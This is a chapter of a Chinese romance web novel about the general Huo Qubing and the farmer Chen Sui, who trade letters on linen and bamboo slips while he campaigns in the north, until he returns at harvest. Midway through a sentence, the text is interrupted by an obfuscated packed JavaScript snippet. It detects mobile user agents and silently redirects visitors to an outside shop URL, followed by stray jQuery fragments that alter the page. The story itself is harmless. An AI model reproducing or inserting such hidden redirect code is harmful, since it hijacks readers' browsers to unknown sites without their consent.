霍去病是在春末走的。那天风不大，他骑在黑马上，玄甲外面套了深褐色的皮甲，左臂的护腕扎得比平时紧一些。陈穗站在营门口送他，手里攥着一把刚拔的杂草还没来得及放下。他勒马在她面前停了一下，低头看了她一眼，说：“麦子抽穗的时候，我大概还在北边。”陈穗把手里那把草换到另一只手上握着：“那等你回来看。”
他点了点头，催马走了。队伍沿着弱水河方向往北，马蹄声渐渐远了。陈穗站在营门口望着队伍的背影消失在河谷拐弯的地方，然后低头看了看手里那把草，转身回地头继续干活。当天晚上她坐在灯下，面前摊着一块裁好的麻布片和一支炭笔。她把炭笔拿起来在手里转了转，在麻布片上写下一行字：“麦子出第三片叶了。北面那三十亩长得比南面快。”
写完之后她看了看，把麻布片叠好放进枕边的木盒里。木盒是她自己做的，粗糙的边角，盖子合上时不太严，但她用一根麻绳扎了一圈。
第二天她又写了一片：“水车调了角度，水流比之前快了一截。弱水河的水位降了一点，但渠里够用。”第三天写了：“今天风大。北面那排棚子被掀了一块草帘，我重新压了。人没被吹跑。”写完之后她自己看着笑了，把麻布片叠好放进去。
她也不知道在写给谁看。也许写给自己看，也许写给以后看的，也许就是每天坐下来的那个动作本身让她觉得踏实。每天晚上干完一天的活，在灯下坐一会儿，把当天的事记下来，叠好放进去，这种重复的仪式填补了营地里某种空缺。
霍去病走后的第十二天，木盒里已经放了十几片麻布。有写麦子的，有写天气的，有写水车的，还有一片写了“今天木棍老兵摔了一跤，没大事，我扶他起来了，他骂了我一句说我力气太大”。她写到这里的时候嘴角是弯着的。系统有时会弹出一条简短的提示，她也一并记在麻布上：“系统今天说土壤改良度到四十七了”。她不知道别人读不读得懂，但她写的时候自己看得懂就够了。
走后的第十九天傍晚，亲卫从北边回来送军报，经过她帐门口的时候停了一下，从怀里掏出一个东西递过来：“农侯，将军让带的。”那是一个小小的布包，扎得很紧，外面裹了一层油布防潮。陈穗接过来的时候心里跳了一下，但她没有在人前拆开，等亲卫走了之后才回帐里坐下，解开绳结，拆开油布。里面是几片竹简，比寻常的竹简小，窄窄的，边缘打磨得光滑，用细麻绳穿在一起。她展开的时候手指有一点点抖。
竹简上写了三行字。第一行：“匈奴退了。”第二行：“天晴。”第三行：“麦子长得好吗？”
她看完第一遍之后没有放下，又看了一遍。看完第二遍又看第三遍，然后把竹简合上放在膝盖上。她低头看着膝盖上那几片窄窄的竹简，伸手摸了摸最后一行字的笔迹——笔画比之前在长安时写给她那张“吃了”的纸条要稳一些，像是写了不止一遍才挑出来送回来的。她看完第三遍把竹简小心地放在枕边，然后从木盒里翻出她这些天写的那叠麻布片，一块一块摊开看了一遍。挑出其中最喜欢的一片，上面写着“等你回来看麦浪”，字迹刻意写大了，像怕对方看漏了。她把这麻布片对折好，用一块干净的新布裹了，又在外面扎了一圈细绳，然后第二天一早交给亲卫带回去。亲卫接布包的时候啥也没问，收进怀里策马往北跑了。
之后的每一天她照常干活。但天黑之后坐在灯下写记录的时候，心里有了一个明确的方向——她写的东西会有人看，不只是她自己。这个念头让她握笔的姿势稳了一些，写的内容也从单纯记录变成了偶尔夹带一句私货：“今天路过主帐，看到风把你的帐帘吹开了半截，我进去帮你合上了。”写完之后她想了想，又在后面加了一句：“没看里面的东西。”她看了两遍，叠好放进木盒。
第二十五天的时候亲卫又从北边回来了，又带来了一个布包。她拆开的时候发现里面的竹简只有两片，上面写了四行字：“雪停了。火堆烧得旺。你上次让合的帐帘，我回来之后没动过。”她看到最后一句的时候整个人坐在灯下愣了很久。那句“没动过”的意思是——她进他帐里帮他合帐帘的事，他知道了。或者说他不在的时候也有人跟他汇报了。但他说的是“没动过”，意思是那扇帐帘合上之后就一直保持着合着的状态，他没有再掀开，没有让其他人碰它。他在回应她的“私货”那句。
她坐在灯下把那两片竹简反复看了好几遍。看到第四遍的时候把竹简贴了一下额头，凉凉的，竹面的温度被夜风浸透了。她把竹简放下来，又从木盒里翻出一块新的麻布片，写了几行字，叠好交还给亲卫。
走后的第三十七天麦子开始抽穗了。陈穗蹲在地头看着穗头从麦秆顶端一点一点地鼓出来，嫩绿色的外壳包着里面正在成形的麦粒。她蹲在旁边用草茎轻轻碰了一下穗头的表面，触感软软的，微微发胀。她站起来往回走的时候脚步带了一阵风，走了几步又停下来回头看了一眼那片正在泛穗的麦田，然后加快步子回了帐里，从木盒里抽出一片新的麻布片写了两个字：“抽了。”想了想又加了一句：“等你看。”
她把麻布片叠好收进木盒。当晚她躺在毡子上的时候窗外的月光比以前任何一个夜晚都亮。她侧躺着，手搭在木盒边缘，指腹慢慢摩挲着麻绳扎口的纹理，闭着眼听着帐外的风声和麦田里无数细微的拔节声响。她不知道他什么时候回来，但她知道他会回来。他会从北边沿着弱水河谷走下来，骑马路过麦田的时候会放慢速度，侧头看一眼田里，然后看到站在田埂上的她。她闭着眼把这个画面在脑子里过了好几遍，然后把手从木盒上收回来放在枕边，慢慢睡着了。
又过了二十来天，一个傍晚，陈穗正在麦田里蹲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920791|213459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着拔草。她听到了一阵马蹄声从营门方向传过来，她没有抬头，继续拔手边那棵草。马蹄声越来越近，到了麦田边上的时候停了下来。她依然没有抬头，把那棵草拔出来放在手边的草堆上，然后站起来拍了拍手上的泥，转过身。
霍去病站在田埂上，逆着暮光。身上的玄甲沾了灰，脸上也有赶路留下的风尘痕迹，但他站得很稳，眼睛正看着她身后的麦浪。金黄色的穗子铺满了整片田，风一吹就一层一层地涌动着，像一片被夕阳点燃的海。他没有说话，就站在田埂上看着那片麦浪。
陈穗站在麦田里面，隔着几排麦垄看着他。麦穗的高度差不多到她腰际，金黄色的穗头在她两侧轻轻晃着。他看完了那整片麦浪之后把目光收回来落在她身上。然后开口说了一句话：“你那个木盒里的东西——我看了。”
陈穗心跳了一下。“你看了？”
他站在田埂上说：“让亲卫带回来的。他每次带军报来回，顺路把木盒捎过去。”他顿了一下，“你写的每片我都看了。”
陈穗想起那个木盒里的内容——有记麦子长势的，有记天气的，有记老兵摔跤的，有那句“今天路过主帐看到风把你帐帘吹开了我进去帮你合上了”，还有那句“没看里面的东西”。她的脸腾地热了，低下头看着自己手上的泥，不知道说什么。他站在田埂上，逆光里看不太清他的表情，但他的声音比刚才轻了一点，像在说一句只给她一个人听的话：“我留了一片，行不行？”
陈穗抬起脸看他。麦浪在她身后继续涌动着，暮光把所有的轮廓都染成了金色。她站在田里，他站在田埂上，隔着几排麦垄的距离，风从两人之间穿过去的时候把麦穗压弯又弹起来。她没有问他留了哪一片，也没有问他要留多久。她说：“行。”声音很轻，但说完之后她嘴角的弧度一直弯到了暮色彻底暗下去。
他转身走了。马蹄声沿着田埂渐渐远去，她站在麦田里看着他的背影消失在营门方向。低头的时候发现自己手里的泥还没拍干净，她从旁边的叶片上蹭了蹭，然后慢慢走回帐里，掀开枕边的木盒盖子——里面空了。她亲手写下的每一片麻布都不在了。她低头看着空空的木盒，慢慢盖上了盖子，然后把盒子放回枕边原来的位置。空了，但他留了一片。是他带走的，也是她答应了的。她蹲在木盒旁边把手搭在盖子上面，合上眼，弯着嘴角，一直蹲到外面完全黑了才站起来，吹了灯，躺下去。
窗外麦田里无数穗头在夜风里互相碰撞着发出细碎的沙沙声，像一整片土地在低低地笑。陈穗缩在毡子里，把自己的脸埋进被角，脸上的笑意过了很久很久才慢慢平复下去，但她睡着之前最后的念头是——木盒里虽然空了，但怀里多了三片竹片，每一片都沉甸甸的。她把手伸进怀里摸了一下那三片竹片的边缘，触感温润光滑，然后她把手放回枕边，合上了眼。